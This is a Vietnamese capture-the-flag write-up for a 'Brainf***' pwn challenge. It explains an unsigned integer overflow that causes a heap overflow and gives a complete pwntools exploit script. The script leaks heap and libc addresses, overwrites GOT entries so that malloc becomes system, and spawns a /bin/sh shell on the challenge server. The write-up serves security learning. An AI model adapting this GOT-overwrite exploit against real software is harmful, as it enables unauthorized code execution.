🍜FUSec - Brainf***

Explain:

Nhìn vào hàm brain_run có thể thấy 2 phần có chứa 1 lỗi overflow:

2 hàm case trên đều chứa lỗi không kiểm soát tốt buffer. Mà 2 con trỏ kia đều thuộc phân vùng heap.

Vậy nên ta có thể sử dụng 1 lỗi đó là Heap Overflow để khai thác.

Đây là phần tính size để overflow:

Nhưng làm thế nào để Overflow?

Thì do đây là phép nhân nên ta lấy 2 số đủ lớn thì allocated_block sẽ cực nhỏ (Unsigned Integer Overflow).

sla(b'(blocks)?', str(0x80000000).encode())  #sla = sendlineafter
sla(b'(bytes)?', str(0x100).encode())

Sau đó chương trình còn malloc thêm cả đoạn code brainf*** nên ở đây mình cho size của nó cực lớn để nó sử dụng nmap thì sẽ không chèn vào giữa 2 chunk_pointer và object.

sla(b'bytes)?', str(0x300000).encode())

Attack:

  • Đầu tiên là in ra để leak mmapheap để khi overwrite sẽ không bị lỗi

  • Dựa vào đoạn code này thì overwrite machine->data_pointer thành elf.symbols['puts']

  • Setup các got sao cho malloc->system và gọi về exit->main

  • Khi malloc dã thành system thì làm cho allocated_size trỏ đến địa chỉ của /bin/sh là được. Ở đây mình set /bin/sh ở trên heap.

payload = b'/bin/sh\x00' + p64(0)*2 + p64(0x31) + p64(code + 1) + p64(heap + 0x2a0) + p64(elf.got['puts'])
  • Sửa got

payload = flat(
    libc.symbols['puts'],
    libc.symbols['write'],
    libc.symbols['__stack_chk_fail'],
    libc.symbols['printf'],
    libc.symbols['memset'],
    libc.symbols['alarm'],
    libc.symbols['read'],
    libc.symbols['signal'],
    libc.symbols['system'], #malloc
    libc.symbols['setvbuf'],
    libc.symbols['atoi'],
    elf.symbols['main']
)
  • Get shell

binsh = heap + 0x2a0
sla(b'(blocks)?', str(1).encode())
sla(b'(bytes)?', str(binsh).encode())
sla(b'bytes)?', str(0x300000).encode())

Lưu ý: Mình thấy libc.so.6 của đề bài cho bị sai do address local khác với address remote. Bạn có thể sử dụng file ở bên dưới.

Result:

Full Payload:

#!/usr/bin/python3
from pwn import *

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()


elf = context.binary = ELF('brainf')
libc = ELF('libc.so.6')

def int_from_bytes(bytes):
    return int.from_bytes(bytes, byteorder='little')

def GDB(proc):
    gdb.attach(p, gdbscript='''
               b brain_run
               c
               b write
               b read
               c
               c
               c
               ''')
context.log_level = 'debug'
#p = process()
#GDB(p)
p = remote('challenge.fuctf.com', 8005)
sla(b'(blocks)?', str(0x80000000).encode())
sla(b'(bytes)?', str(0x100).encode())
sla(b'bytes)?', str(0x300000).encode())

payload = b'+'*0x120 + b'.' + b',' + b'.' + b','
sla(b'bytes?', payload)
ru(b'code_size')
rl()
r(0x20)
leak = r(8)
leak = u64(leak)
print('leak: ', hex(leak))
code = leak
print('code: ', hex(code))
leak = r(8)
leak = u64(leak)
heap = leak - 0x2a0
print('leak: ', hex(leak))
print('heap: ', hex(heap))
payload = b'/bin/sh\x00' + p64(0)*2 + p64(0x31) + p64(code + 1) + p64(heap + 0x2a0) + p64(elf.got['puts'])
r(0x100)
s(payload)
got = r(0x100)
puts = got[0:8]
puts = u64(puts)
print('puts: ', puts)
libc.address = puts - libc.symbols['puts']
print('libc: ', hex(libc.address))
payload = flat(
    libc.symbols['puts'],
    libc.symbols['write'],
    libc.symbols['__stack_chk_fail'],
    libc.symbols['printf'],
    libc.symbols['memset'],
    libc.symbols['alarm'],
    libc.symbols['read'],
    libc.symbols['signal'],
    libc.symbols['system'], #malloc
    libc.symbols['setvbuf'],
    libc.symbols['atoi'],
    elf.symbols['main']
)
s(payload)
binsh = heap + 0x2a0
sla(b'(blocks)?', str(1).encode())
sla(b'(bytes)?', str(binsh).encode())
sla(b'bytes)?', str(0x300000).encode())

p.interactive()

File:

Last updated